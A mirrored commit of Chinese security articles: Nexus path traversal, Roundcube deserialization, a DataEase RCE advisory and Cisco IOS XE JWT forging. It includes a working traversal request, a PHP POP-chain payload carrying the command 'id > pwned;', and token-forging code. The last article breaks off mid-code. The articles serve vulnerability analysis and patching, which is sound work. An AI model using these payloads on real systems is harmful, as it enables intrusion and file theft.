mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-28 19:30:54 +00:00
【高危漏洞预警】Dataease JWT认证绕过&H2数据库远程代码执行漏洞、消息中间件RocketMQ命令执行漏洞分析、CVE-2024-4956 Nexus Repository 3 路径遍历漏洞、更新:改造模糊测试工具 | 系统0day安全-二进制漏洞攻防(第4期)、RCE 漏洞、百万奖金池!ByteSRC全域3倍积分!单个漏洞赏金15万!、【漏洞通告】DataEase远程代码执行漏洞安全风险通告、DataEase H2数据库远程代码执行漏洞(CVE-2025-49002)、CVE-2025-49113 Roundcube Webmail反序列化漏洞分析、【漏洞预警】DataEase 远程代码执行漏洞(CVE-2025-49002)、
This commit is contained in:
1 parent
ce86be3fd1
commit
82a584fbba
11 files changed
+1501
-1
No files matched your search
@@ -14835,5 +14835,15 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIwMDk1MjMyMg==&mid=2247492805&idx=1&sn=30e47869ddf47a6cb5a92b70c81c266e": "【已复现】DataEase 远程代码执行漏洞(CVE-2025-49002、CVE-2025-49001)",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkzMTcwMTg1Mg==&mid=2247491703&idx=1&sn=6775431a3523ce79579c880215420a9f": "世邦通信SPON-IP网络对讲广播系统 videobacktrackpush.php 任意文件上传漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIwNjU0NjAyNg==&mid=2247491229&idx=1&sn=a9c298d3409c3f84537a599c5c171c00": "创宇安全智脑 | Cisco IOS XE 任意文件上传(CVE-2025-20188)等81个漏洞可检测",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI4MjkxNzY1NQ==&mid=2247485866&idx=1&sn=f22b47fb7cbbdb28ea72a878b6f9d8fa": "Jenkins未授权访问-命令执行漏洞复现及修复方案"
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI4MjkxNzY1NQ==&mid=2247485866&idx=1&sn=f22b47fb7cbbdb28ea72a878b6f9d8fa": "Jenkins未授权访问-命令执行漏洞复现及修复方案",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI3NzMzNzE5Ng==&mid=2247490196&idx=1&sn=445a97e63142e9216294ebc4e1bea7ad": "【高危漏洞预警】Dataease JWT认证绕过&H2数据库远程代码执行漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MjM5MjEyMTcyMQ==&mid=2651037742&idx=1&sn=e38b2e41abe4ef5de9291947fe02ec0b": "消息中间件RocketMQ命令执行漏洞分析",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU0NTU5NTA4NQ==&mid=2247491757&idx=1&sn=e18c6ced25ae41c182a5c263e6293df1": "CVE-2024-4956 Nexus Repository 3 路径遍历漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458595183&idx=4&sn=ac565329b10f28fb7e171969a80f9396": "更新:改造模糊测试工具 | 系统0day安全-二进制漏洞攻防(第4期)",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247497691&idx=1&sn=8a21820aa197e5d11ac115da464d6a5d": "RCE 漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzUzMzcyMDYzMw==&mid=2247494864&idx=1&sn=f82c751d60028bc253ecff7eb70a40f2": "百万奖金池!ByteSRC全域3倍积分!单个漏洞赏金15万!",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU4NjY4MDAyNQ==&mid=2247497536&idx=1&sn=7318bd01d7d51cb7892c8ac62203bacb": "【漏洞通告】DataEase远程代码执行漏洞安全风险通告",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg2NjgzNjA5NQ==&mid=2247524460&idx=1&sn=7d2b4e4d60276ffcbb0e8a79d51308cf": "DataEase H2数据库远程代码执行漏洞(CVE-2025-49002)",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIyNDkwNjQ5Ng==&mid=2247486115&idx=1&sn=b606ab44ebe50c4968bb70b369ba0f04": "CVE-2025-49113 Roundcube Webmail反序列化漏洞分析",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkyNzQzNDI5OQ==&mid=2247486694&idx=1&sn=c0b1408fba02412f21d2e7d5c3078bed": "【漏洞预警】DataEase 远程代码执行漏洞(CVE-2025-49002)"
|
||||
}
|
||||
@@ -0,0 +1,159 @@
|
||||
# CVE-2024-4956 Nexus Repository 3 路径遍历漏洞
|
||||
海狼风暴团队 2025-06-05 09:43
|
||||
|
||||

|
||||
|
||||
|
||||
**漏洞简述**
|
||||
|
||||
|
||||
Nexus Repository 3 在处理用户提供的路径时存在缺陷,仅依赖 Jetty 的基础验证,未进行严格的安全检查。攻击者可构造恶意 URL 进行路径遍历,访问系统上的任意文件。
|
||||
|
||||

|
||||
|
||||
|
||||
**受影响版本**
|
||||
|
||||
|
||||
Nexus Repository 3.0.0 - 3.68.0
|
||||
|
||||

|
||||
|
||||
|
||||
**漏洞环境搭建**
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
# 知识扩展
|
||||
|
||||
|
||||
|
||||
Nexus Repository 3是一个仓库管理工具,用于管理和托管软件构件。它支持集中存储、管理和分发构件,便于团队协作和自动化构建。
|
||||
|
||||
**漏洞环境搭建**
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
**漏洞环境搭建**
|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
**漏洞环境搭建**
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
**漏洞环境搭建**
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
**漏洞环境搭建**
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
**漏洞环境搭建**
|
||||
|
||||
|
||||
**漏洞环境搭建**
|
||||
|
||||
|
||||
1.克隆 VulHub 仓库到本地
|
||||
```
|
||||
git clone https://bgithub.xyz/vulhub/vulhub.git
|
||||
```
|
||||
|
||||

|
||||
|
||||
2. 进入到漏洞环境目录
|
||||
```
|
||||
cd vulhub/nexus/CVE-2024-4956
|
||||
docker-compose up -d
|
||||
```
|
||||
|
||||
3.靶场搭建成功
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
**漏洞验证**
|
||||
|
||||
|
||||
1.访问8081端口
|
||||
|
||||

|
||||
|
||||
2.burp抓包,修改内容如下:
|
||||
```
|
||||
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
|
||||
```
|
||||
|
||||
可见,/etc/passwd已被成功读取
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
**修复建议**
|
||||
|
||||
|
||||
1.
|
||||
将
|
||||
Sonatype Nexus Repository 升级到3.68.1或更高版本
|
||||
|
||||
2.
|
||||
通过修改jetty.xml文件,禁用对/public路径的访问
|
||||
|
||||
|
||||
修复步骤:
|
||||
|
||||
找到
|
||||
jetty.xml 文件
|
||||
|
||||

|
||||
|
||||
|
||||
删除以下行:
|
||||
```
|
||||
<Setname="resourceBase"><Property name="karaf.base"/>/public</Set>
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
保存文件并重启环境,可以看到防御有效:
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
**- 扫码立即关注 -**
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,145 @@
|
||||
# CVE-2025-49113 Roundcube Webmail反序列化漏洞分析
|
||||
台下言书 2025-06-05 11:18
|
||||
|
||||
## 简介
|
||||
|
||||
**Roundcube Webmail**
|
||||
是一款开源、基于 Web 的电子邮件客户端,旨在为用户提供简洁而强大的邮件管理工具。
|
||||
## 影响版本
|
||||
- **Roundcube Webmail < 1.5.10**
|
||||
|
||||
- **1.6.0 ≤ Roundcube Webmail < 1.6.11**
|
||||
|
||||
## 漏洞分析
|
||||
### 1.反序列化入口点
|
||||
|
||||
通过查看官方github
|
||||
仓库的commit
|
||||
,发现核心补丁是对请求参数 _form
|
||||
进行了严格的符号校验,禁止其包含特定特殊字符。
|
||||
|
||||

|
||||
|
||||
|
||||
定位到关键入口文件 upload.php
|
||||
,其功能是处理文件上传。
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
除了上传文件过程中引用到_form
|
||||
参数值,只有$rcmail->session->append($type . '.files', $id, $attachment);
|
||||
这条语句调用了由_form
|
||||
参数生成的$type
|
||||
,跟进去分析append
|
||||
方法的细节。
|
||||
|
||||

|
||||
|
||||
|
||||
在rcube_session.php
|
||||
文件中,可以看到php
|
||||
常用的反序列化函数unserialize
|
||||
。结合漏洞披露信息,可以猜测漏洞的关键触发点就在该文件中。
|
||||
|
||||

|
||||
|
||||
|
||||
rcube_session
|
||||
类通过session_set_save_handler
|
||||
函数将自定义的函数注册到handler
|
||||
中,实现了session
|
||||
的自定义序列化与反序列化过程。
|
||||
```
|
||||
public staticfunction unserialize($str){ $str = (string) $str; $endptr = strlen($str); $p = 0; $serialized = ''; $items = 0; $level = 0; while ($p < $endptr) { $q = $p; while ($str[$q] != '|') if (++$q >= $endptr) break2; if ($str[$p] == '!') { $p++; $has_value = false; } else { $has_value = true; } $name = substr($str, $p, $q - $p); $q++; $serialized .= 's:' . strlen($name) . ':"' . $name . '";'; if ($has_value) { for (;;) { $p = $q; switch (strtolower($str[$q])) { case'n': // null case'b': // boolean case'i': // integer case'd': // decimal do $q++; while (($q < $endptr) && ($str[$q] != ';')); $q++; $serialized .= substr($str, $p, $q - $p); if ($level == 0) { break2; } break; case'r': // reference $q+= 2; for ($id = ''; ($q < $endptr) && ($str[$q] != ';'); $q++) { $id .= $str[$q]; } $q++; // increment pointer because of outer array $serialized .= 'R:' . ($id + 1) . ';'; if ($level == 0) { break2; } break; case's': // string $q+=2; for ($length=''; ($q < $endptr) && ($str[$q] != ':'); $q++) { $length .= $str[$q]; } $q+=2; $q+= (int)$length + 2; $serialized .= substr($str, $p, $q - $p); if ($level == 0) { break2; } break; case'a': // array case'o': // object do $q++; while ($q < $endptr && $str[$q] != '{'); $q++; $level++; $serialized .= substr($str, $p, $q - $p); break; case'}': // end of array|object $q++; $serialized .= substr($str, $p, $q - $p); if (--$level == 0) { break2; } break; default: returnfalse; } } } else { $serialized .= 'N;'; $q += 2; } $items++; $p = $q; } return unserialize('a:' . $items . ':{' . $serialized . '}');}
|
||||
```
|
||||
|
||||
该自定义的反序列化函数unserialize
|
||||
函数中有一个逻辑错误。
|
||||
|
||||
正常的序列化数据如下,其中,可控的点为identity
|
||||
是由_form
|
||||
参数生成的,2.png
|
||||
是文件名。
|
||||
```
|
||||
identity|a:1:{s:5:"files";a:1:{s:20:"11749052287082347400";a:6:{s:4:"path";s:55:"/tmp/roundcube-temp/RCMTEMPattmnt68406b7fc8ff4551457662";s:4:"size";i:228;s:4:"name";s:5:"2.png";s:8:"mimetype";s:9:"image/png";s:5:"group";s:8:"identity";s:2:"id";s:20:"11749052287082347400";}}}
|
||||
```
|
||||
|
||||
自定义函数在遇到|
|
||||
后,会跳出while
|
||||
循环,将其当作键名。随后判断键名是否以!
|
||||
开头,如果以此开头,那就直接跳过if
|
||||
语句的第一个分支,直接追加N;
|
||||
,进入下一个解析环节,寻找下一个|
|
||||
出现的位置作为解析的起始点,这就导致容易错位解析,从而控制反序列化流程。 恶意的序列化数据如下,_form
|
||||
构造!identity
|
||||
值,文件名则取2|s:2:"12
|
||||
,就能控制反序列化流程。
|
||||
```
|
||||
!identity|a:1:{s:5:"files";a:1:{s:20:"11749052882029285800";a:6:{s:4:"path";s:55:"/tmp/roundcube-temp/RCMTEMPattmnt68406dd247794593223028";s:4:"size";i:228;s:4:"name";s:10:"2|s:2:"12"";s:8:"mimetype";s:9:"image/png";s:5:"group";s:9:"!identity";s:2:"id";s:20:"11749052882029285800";}}}
|
||||
```
|
||||
### 2. 构造POP链
|
||||
|
||||
在源码中搜索 __destruct
|
||||
,可以看到 Crypt_GPG_Engine
|
||||
类的 __destruct
|
||||
方法会调用 _closeIdleAgents
|
||||
,而 _closeIdleAgents
|
||||
会调用 proc_open
|
||||
执行命令。
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
**构造序列化数据的 PHP 代码如下:**
|
||||
```
|
||||
<?phpclass Crypt_GPG_Engine{ const CHUNK_SIZE = 65536; const FD_INPUT = 0; const FD_OUTPUT = 1; const FD_ERROR = 2; const FD_STATUS = 3; const FD_COMMAND = 4; const FD_MESSAGE = 5; const MIN_VERSION = '1.0.2'; public $_strict = false; public $_debug = false; public $_binary = ''; public $_agent = ''; public $_gpgconf = "id > pwned;"; public $_homedir = ''; public $_publicKeyring = ''; public $_privateKeyring = ''; public $_trustDb = ''; public $_pipes = array(); public $_agentPipes = array(); public $_openPipes = array(); public $_process = null; public $_agentProcess = null; public $_agentInfo = null; public $_isDarwin = false; public $_digest_algo = null; public $_cipher_algo = null; public $_compress_algo = null; public $_options = array(); public $_commandBuffer = ''; public $_processHandler = null; public $_statusHandlers = array(); public $_errorHandlers = array(); public $_input = null; public $_message = null; public $_output = ''; public $_operation; public $_arguments = array(); public $_version = '';}$test = new Crypt_GPG_Engine();echo serialize($test);
|
||||
```
|
||||
### 3. 鉴权逻辑分析
|
||||
|
||||
回头分析鉴权相关内容,网站根目录下 index.php
|
||||
文件:
|
||||
|
||||
可以看到从前端获取_task
|
||||
,_action
|
||||
参数,并对其做判断。如果_task
|
||||
为login
|
||||
或logout
|
||||
,_action
|
||||
为login
|
||||
或oauth
|
||||
,则不做身份校验;其他的_task
|
||||
一律要对$_SESSION
|
||||
里的user_id
|
||||
做判断。该漏洞的触发点在settings
|
||||
的_task
|
||||
,因此需要认证通过的用户。
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
## 修复方案
|
||||
|
||||
官方已发布修复方案,受影响的用户建议及时更新至对应安全版本:
|
||||
- **Roundcube 1.5.x:**
|
||||
|
||||
https://github.com/roundcube/roundcubemail/releases/tag/1.5.10
|
||||
|
||||
- **Roundcube 1.6.x:**
|
||||
|
||||
https://github.com/roundcube/roundcubemail/releases/tag/1.6.11
|
||||
|
||||
>
|
||||
> ⚠️ 此漏洞需要用户手动更新,官方不会强制推送更新。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,202 @@
|
||||
# DataEase H2数据库远程代码执行漏洞(CVE-2025-49002)
|
||||
深瞳漏洞实验室 深信服千里目安全技术中心 2025-06-05 10:09
|
||||
|
||||

|
||||
|
||||
**漏洞名称:**
|
||||
|
||||
DataEase H2数据库远程代码执行漏洞(CVE-2025-49002)
|
||||
|
||||
**组件名称:**
|
||||
|
||||
DataEase
|
||||
|
||||
**影响范围:**
|
||||
|
||||
DataEase ≤ 2.10.8
|
||||
|
||||
**漏洞类型:**
|
||||
|
||||
代码执行
|
||||
|
||||
**利用条****件:**
|
||||
|
||||
1、用户认证:不需要用户认证
|
||||
|
||||
2、前置条件:默认配置
|
||||
|
||||
3、触发方式:远程
|
||||
|
||||
**综合评价:**
|
||||
|
||||
<综合评定利用难度>:
|
||||
容易,无需授权即可造成远程代码执行。
|
||||
|
||||
<综合评定威胁等级>:严重,能造成远程代码执行。
|
||||
|
||||
**官方解决方案:**
|
||||
|
||||
已发布
|
||||
|
||||
|
||||
|
||||
|
||||
**漏洞分析**
|
||||
|
||||

|
||||
|
||||
组件介绍
|
||||
|
||||
DataEase是一种关系型数据库管理系统(RDBMS),它最初于1981年由DataEase International公司开发。它是一种易于使用的数据库软件,旨在为非专业人士提供一种简单的方法来创建和管理数据库。DataEase具有图形用户界面和可视化工具,使用户可以轻松地创建表格、查询、报告和表单。它还具有内置的安全性和数据完整性功能,以确保数据的安全和准确性。
|
||||
|
||||

|
||||
|
||||
**漏洞简介**
|
||||
|
||||
|
||||
2025年6月5日,深瞳漏洞实验室监测到一则DataEase组件存在代码执行漏洞的信息,漏洞编号:CVE-2025-49002,漏洞威胁等级:高危。
|
||||
|
||||
DataEase存在一个远程代码执行漏洞,未授权
|
||||
攻击者可以利用CVE-2025-49001绕过JWT认证,通过JDBC远程加载恶意内容,执行任意代码导致服务器失陷。
|
||||
|
||||
|
||||
|
||||
**影响范围**
|
||||
|
||||
目前受影响的DataEase版本:
|
||||
|
||||
DataEase ≤ 2.10.8
|
||||
|
||||
|
||||
|
||||
**解决方案**
|
||||
|
||||

|
||||
|
||||
**官方修复建议**
|
||||
|
||||
|
||||
官方已发布最新版本修复该漏洞,建议受影响用户将DataEase更新到 v2.10.10 及以上版本。
|
||||
|
||||
下载链接:
|
||||
|
||||
https://github.com/dataease/dataease/releases/tag/v2.10.10
|
||||
|
||||

|
||||
|
||||
**深信服解决方案**
|
||||
|
||||
****
|
||||
**1、风险资产发现**
|
||||
|
||||
支持对DataEase的主动检测,可批量检出业务场景中该事件的**受影响资产**
|
||||
情况,相关产品如下:
|
||||
|
||||
**【深信服云镜YJ】**
|
||||
已发布资产检测方案,
|
||||
指纹ID:0017588
|
||||
。
|
||||
|
||||
**【深信服漏洞评估工具TSS】**
|
||||
已发布资产检测方案,指纹ID:0017588
|
||||
。
|
||||
|
||||
|
||||
**2、漏洞主动检测**
|
||||
|
||||
支持对DataEase H2数据库远程代码执行漏洞(CVE-2025-49002)的主动检测,可批量快速检出业务场景中是否存在**漏洞风险**
|
||||
,相关产品如下:
|
||||
|
||||
**【深信服云镜YJ】**
|
||||
预计2025年06月08日发布检测方案,规则ID:SF-2025-00479
|
||||
。
|
||||
|
||||
**【深信服漏洞评估工具TSS】**
|
||||
预
|
||||
计2025年06月09日发布检测方案,规则ID:SF-2025-00986
|
||||
。
|
||||
|
||||
**【深信服安全托管服务MSS】**
|
||||
预计2025年06月09日发布检测方案(需要具备TSS组件能力),规则ID:SF-2025-00986
|
||||
。
|
||||
|
||||
**【深信服安全检测与响应平台XDR】**
|
||||
预计2025年06月08日发布检测方案(需要具备云镜组件能力),规则ID:SF-2025-00479
|
||||
。
|
||||
|
||||
|
||||
**3、漏洞安全监测**
|
||||
|
||||
支持对DataEase H2数据库远程代码执行漏洞(CVE-2025-49002)的监测,可依据流量收集实时监控业务场景中的**受影响资产情况,快速检查受影响范围**
|
||||
,相关产品及服务如下:
|
||||
|
||||
**【深信服安全感知管理平台SIP】**
|
||||
预计2025年06月16日发布监测方案,规则ID:11029253
|
||||
。
|
||||
|
||||
**【深信服安全托管服务MSS】**
|
||||
预计2025年06月16日发布监测方案(需要具备SIP组件能力),规则ID:11029253
|
||||
。
|
||||
|
||||
**【深信服安全检测与响应平台XDR】**
|
||||
预计2025年06月16日发布监测方案,规则ID:11029253
|
||||
。
|
||||
|
||||
|
||||
**4、漏洞安全防护**
|
||||
|
||||
支持对DataEase H2数据库远程代码执行漏洞(CVE-2025-49002)的防御,**可阻断攻击者针对该事件的入侵行为**
|
||||
,相关产品及服务如下:
|
||||
|
||||
**【深信服下一代防火墙AF】**
|
||||
预计2025年06月16日发布防护方案,规则ID:11029253
|
||||
。
|
||||
|
||||
**【深信服Web应用防火墙WAF】**
|
||||
预计2025年06月16日发布防护方案,规则ID:11029253
|
||||
。
|
||||
|
||||
**【深信服安全托管服务MSS】**
|
||||
预计2025年06月16日发布防护方案(需要具备AF组件能力),规则ID:11029253
|
||||
。
|
||||
|
||||
**【深信服安全检测与响应平台XDR】**
|
||||
预计2025年06月16日发布防护方案(需要具备AF组件能力),规则ID:11029253
|
||||
。
|
||||
|
||||
|
||||
|
||||
参考链接
|
||||
|
||||
|
||||
https://github.com/dataease/dataease/security/advisories/GHSA-999m-jv2p-5h34
|
||||
|
||||
https://github.com/dataease/dataease/security/advisories/GHSA-h7hj-4j78-cvc7
|
||||
|
||||
|
||||
|
||||
时间轴
|
||||
|
||||
|
||||
|
||||
**2025/6/5**
|
||||
|
||||
深瞳漏洞实验室监测到
|
||||
DataEase H2数据库远程代码执行漏洞
|
||||
信息。
|
||||
|
||||
|
||||
**2025/6/5**
|
||||
|
||||
深瞳漏洞实验室发布漏洞通告。
|
||||
|
||||
|
||||
点击**阅读原文**
|
||||
,及时关注并登录深信服**智安全平台**
|
||||
,可轻松查询漏洞相关解决方案。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
@@ -0,0 +1,224 @@
|
||||
# RCE 漏洞
|
||||
迪哥讲事 2025-06-05 09:30
|
||||
|
||||
<table><tbody><tr><td data-colwidth="557" width="557" valign="top" style="word-break: break-all;"><h1 data-selectable-paragraph="" style="white-space: normal;outline: 0px;max-width: 100%;font-family: -apple-system, system-ui, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 18px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(255, 0, 0);"><strong><span style="font-size: 15px;"><span leaf="">声明:</span></span></strong></span><span style="font-size: 15px;"></span></span></strong><span style="outline: 0px;max-width: 100%;font-size: 18px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;"><span leaf="">文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。</span></span></span></h1></td></tr></tbody></table>#
|
||||
|
||||
#
|
||||
|
||||
****# 防走失:https://gugesay.com/archives/4395
|
||||
|
||||
******不想错过任何消息?设置星标****↓ ↓ ↓**
|
||||
****
|
||||
#
|
||||
|
||||
|
||||
|
||||
# 前言
|
||||
|
||||
最近思科发布的一份公告,详细说明了一个影响思科 IOS XE 无线控制器软件版本 17.12.03 及更早版本的漏洞。
|
||||
|
||||
该漏洞被描述为未经身份验证的任意文件上传,原因是存在一个硬编码的 JSON Web Token (JWT),**该漏洞被利用的风险正在快速增加。**
|
||||
|
||||
思科 IOS XE 无线局域网控制器 (WLC) 是一种广泛部署的企业级解决方案,用于管理和控制大规模无线网络。
|
||||
# 漏洞分析
|
||||
|
||||
国外研究者的计划是通过比较一个易受攻击的镜像和一个已修复的镜像来分析漏洞。
|
||||
|
||||
首先获取 C9800-CL-universalk9.17.12.03.iso 和 C9800-CL-universalk9.17.12.04.iso,在 ISO 中,发现了两个.pkg 文件,虽然 file 命令没有提供太多信息,但 binwalk 却很有用。
|
||||
|
||||

|
||||
|
||||
通过提取和分析文件系统,Web 应用程序的核心组件位于/var/www
|
||||
和/var/scripts
|
||||
下,进一步检查文件发现,该应用程序使用的是 OpenResty,这是一个集成了 Lua 和 Nginx 的 Web 平台。
|
||||
|
||||
将易受攻击和已修复的目录加载到 VS Code 的 diffing 插件中,在/var/scripts/lua/features/
|
||||
下发现了 ewlc_jwt_verify.lua 和 ewlc_jwt_upload_files.lua 中的显著变化。
|
||||
|
||||
鉴于漏洞与 JWT 相关,并且这些文件引用了 JWT 令牌和关联的密钥,这表明这些组件应该就是漏洞所在地。
|
||||
|
||||
为了确定这些 Lua 脚本是如何以及在哪里被调用的,研究人员在代码库中执行了一个简单的 grep 搜索。
|
||||
|
||||

|
||||
|
||||
在 /usr/binos/conf/nginx-conf/https-only/ap-conf/ewlc_auth_jwt.conf
|
||||
中,可以看到:
|
||||
```
|
||||
location /aparchive/upload { add_header X-Content-Type-Options nosniff; add_header X-XSS-Protection "1; mode=block"; charset_types text/html text/xml text/plain text/vnd.wap.wml application/javascript application/rss+xml text/css application/json; charset utf-8; client_max_body_size 1536M; client_body_buffer_size 5000K; set$upload_file_dst_path"/bootflash/completeCDB/"; access_by_lua_file /var/scripts/lua/features/ewlc_jwt_verify.lua; content_by_lua_file /var/scripts/lua/features/ewlc_jwt_upload_files.lua;}#Location block for ap spectral recording uploadlocation /ap_spec_rec/upload/ { add_header X-Content-Type-Options nosniff; add_header X-XSS-Protection "1; mode=block"; charset_types text/html text/xml text/plain text/vnd.wap.wml application/javascript application/rss+xml text/css application/json; charset utf-8; client_max_body_size 500M; client_body_buffer_size 5000K; set$upload_file_dst_path"/harddisk/ap_spectral_recording/"; access_by_lua_file /var/scripts/lua/features/ewlc_jwt_verify.lua; content_by_lua_file /var/scripts/lua/features/ewlc_jwt_upload_files.lua;}
|
||||
```
|
||||
|
||||
这表明后端同时涉及 ewlc_jwt_verify.lua 和 ewlc_jwt_upload_files.lua 的上传相关端点——太棒了!
|
||||
|
||||
第二个配置块表明,/ap_spec_rec/upload/ 端点首先由 ewlc_jwt_verify.lua 处理,该文件充当访问阶段处理器。
|
||||
|
||||
如果请求通过验证,则会被转发到 ewlc_jwt_upload_files.lua 来处理实际上传,有关每个指令的更多详细信息,可参阅
|
||||
OpenResty [1]
|
||||
文档。
|
||||
|
||||
ewlc_jwt_verify.lua 脚本从 /tmp/nginx_jwt_key 读取一个密钥,并使用它来验证通过 Cookie 头或 jwt URI 参数提供的 JWT。
|
||||
|
||||
如果密钥缺失,secret_read 被设置为 notfound,这看起来正是硬编码 JWT 机制的一部分。
|
||||
```
|
||||
-- ewlc_jwt_verify.lualocal jwt = require"resty.jwt"local jwt_token = ngx.var.arg_jwtif jwt_token then ngx.header['Set-Cookie'] = "jwt=" .. jwt_tokenelse jwt_token = ngx.var.cookie_jwtendlocal secret_read = ""local key_fh = io.open("/tmp/nginx_jwt_key","r")if ( key_fh ~= nil )then io.input(key_fh) secret_read = io.read("*all") io.close(key_fh)else secret_read = "notfound"endlocal jwt_comm_secret = tostring(secret_read)local jwt_obj = jwt:verify(jwt_comm_secret, jwt_token)ifnot jwt_obj["verified"] then local site = ngx.var.scheme .. "://" .. ngx.var.http_host; local args = ngx.req.get_uri_args(); ngx.status = ngx.HTTP_UNAUTHORIZED ngx.say(jwt_obj.reason); ngx.exit(ngx.HTTP_OK)end
|
||||
```
|
||||
|
||||
为了确定 JWT 最初是在哪里生成,通过运行 grep 命令,最终找到/var/scripts/lua/features/ewlc_jwt_get.lua:
|
||||
```
|
||||
-- ewlc_jwt_get.lualocal jwt = require"resty.jwt"local json = require'cjson'local req_id = ngx.req.get_headers()["JWTReqId"]local tcount = os.time()--Give expiration time as 5 mintcount = tcount+300local secret = ""local secret_sz = 64local in_fh = io.open("/tmp/nginx_jwt_key","r")if ( in_fh ~= nil )then io.input(in_fh) secret = io.read("*all") io.close(in_fh)else localrandom = require"resty.random".bytes secret = random(secret_sz, true) if secret == nilthen secret = random(secret_sz) end local key_fh = io.open("/tmp/nginx_jwt_key","w") if ( key_fh ~= nil ) then io.output(key_fh) io.write(secret) io.close(key_fh) endendlocal jwt_comm_secret = tostring(secret)--Generate the jwt keylocal jwt_gen_token = jwt:sign( jwt_comm_secret, { header={typ="JWT", alg="HS256"}, payload={reqid=req_id, exp=tcount } } )local response = {token = jwt_gen_token}return ngx.say(json.encode(response))
|
||||
```
|
||||
|
||||
此脚本从 /tmp/nginx_jwt_key 读取密钥(如果存在);否则,通过写入一个 64 字节的字符串来生成一个,然后,它使用 jwt:sign()
|
||||
创建一个 JWT, 其包含 JWTReqId 头和一个过期时间戳。
|
||||
|
||||
为了更好地理解流程,让我们尝试手动构建 JWT,首先,我们需要知道 JWTReqId 来自哪里。可以通过进一步在代码库中 grep 来找到:
|
||||
|
||||

|
||||
|
||||
有趣的是,头部是在一个 ELF 共享库中构建的:/usr/binos/lib64/libewlc_apmgr.so
|
||||
。
|
||||
|
||||
为了深入挖掘,在 IDA Pro 中搜索 JWTReqId 字符串,从而找到 ewlc_apmgr_jwt_request 函数,从而更加清楚地了解 JWT 的内部生成方式。
|
||||
|
||||

|
||||
|
||||
上面的汇编代码显示头部字符串是使用 snprintf 构建的,一个有用的技巧是利用 LLM 来调查 s 变量的来源:
|
||||
|
||||

|
||||
|
||||
交叉引用查看,对 ewlc_apmgr_jwt_request 的调用只有一处引用!
|
||||
|
||||

|
||||
|
||||
非常好!JWTReqId 头部包含 cdb_token_request_id1。
|
||||
|
||||
可以尝试修改并运行 Lua 脚本来生成 JWT,或者将其转换为 Python:
|
||||
```
|
||||
import osimport timeimport jwttcount = int(time.time()) + 300req_id = 'cdb_token_request_id1'jwt_comm_secret = os.urandom(64)jwt_gen_token = jwt.encode( {"reqid": req_id, "exp": tcount}, jwt_comm_secret, algorithm="HS256", headers={"typ": "JWT"})print(jwt_gen_token)Let’s try the upload endpoint with t
|
||||
```
|
||||
|
||||
尝试使用 JWT 来测试上传端点:
|
||||
|
||||

|
||||
|
||||
奇怪,居然没成功。
|
||||
|
||||
回想后发现,漏洞公告中提到需要启用“带外 AP 图像下载”功能,经过一番研究,发现可以在“Configuration”→“Wireless Global”下的“ AP Image Upgrade” 中开启它。
|
||||
|
||||

|
||||
|
||||
这看起来像是一个运行在端口 8443 上的独立服务,开启它,并使用新端口重新尝试了我们之前的请求。
|
||||
|
||||

|
||||
|
||||
成功收到响应!这是一个 401 未授权错误,并提示签名不匹配。
|
||||
|
||||
这是可以预料的,因为当 JWT 没有使用正确的密钥签名时,jwt:verify()
|
||||
会失败,为了继续,需要使用 notfound 密钥重新生成 JWT。
|
||||
|
||||

|
||||
|
||||
成功!端点由位于 /var/scripts/lua/features/ewlc_jwt_upload_files.lua
|
||||
的脚本处理。
|
||||
```
|
||||
